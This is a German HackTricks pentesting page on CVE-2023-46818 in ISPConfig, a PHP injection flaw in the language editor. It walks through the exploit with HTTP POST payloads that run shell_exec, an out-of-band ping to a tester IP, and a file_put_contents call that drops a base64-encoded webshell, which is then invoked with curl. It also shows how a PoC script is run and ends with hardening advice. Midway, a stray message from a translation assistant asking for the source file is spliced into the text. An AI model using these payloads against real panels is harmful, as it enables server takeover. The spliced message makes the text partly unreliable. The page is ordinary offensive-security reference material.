ISPConfig

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überblick

ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Sprachdatei-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungsdatensatz beliebige PHP-Code-Injektion erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Rechteeskalation führen.

Wichtige Standardpfade:

  • Das Web-Root befindet sich oft unter /var/www/ispconfig, wenn es mit php -S oder über Apache/nginx ausgeliefert wird.
  • Die Admin-UI ist im HTTP(S)-vhost erreichbar (manchmal nur an localhost gebunden; verwende bei Bedarf eine SSH-Portweiterleitung).

Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080), weiterleiten:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Spracheditor PHP code injection (CVE-2023-46818)

  • Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
  • Voraussetzungen:
  • Login mit dem eingebauten Superadmin-Account admin (anderen Rollen sind laut Vendor nicht betroffen)
  • Language editor muss aktiviert sein: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manueller Exploit-Ablauf

  1. Öffnen/Erstellen einer Sprachdatei, um CSRF-Tokens zu erhalten

Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (csrf_id, csrf_key). Beispiel Request-Pfad: /admin/language_edit.php.

  1. PHP über records[] injizieren und speichern

Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimal command-execution probes:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band-Test (ICMP beobachten):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Dateien schreiben und eine webshell ablegen

Verwende file_put_contents, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. admin/) zu erstellen:

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Ich habe keinen Zugriff auf deine lokale Datei. Bitte füge den Inhalt von src/network-services-pentesting/pentesting-web/ispconfig.md hier ein (oder lade die Datei hoch), dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung sämtlicher Markdown-/HTML-Syntax und der genannten Ausnahmen. Möchtest du die gesamte Datei oder nur bestimmte Abschnitte übersetzt haben?

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080, von root gestartet), führt das sofort zu root RCE. Andernfalls erhält man Codeausführung als Benutzer des Webservers.

Python PoC

Ein gebrauchsfertiger Exploit automatisiert token handling und payload delivery:

Beispielausführung:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Härtung

  • Auf 3.2.11p1 oder neuer aktualisieren
  • Deaktivieren Sie den Spracheditor, sofern nicht unbedingt erforderlich:
admin_allow_langedit=no
  • Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien abgesenkt werden
  • Erzwinge starke Authentifizierung für das eingebaute admin-Konto

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks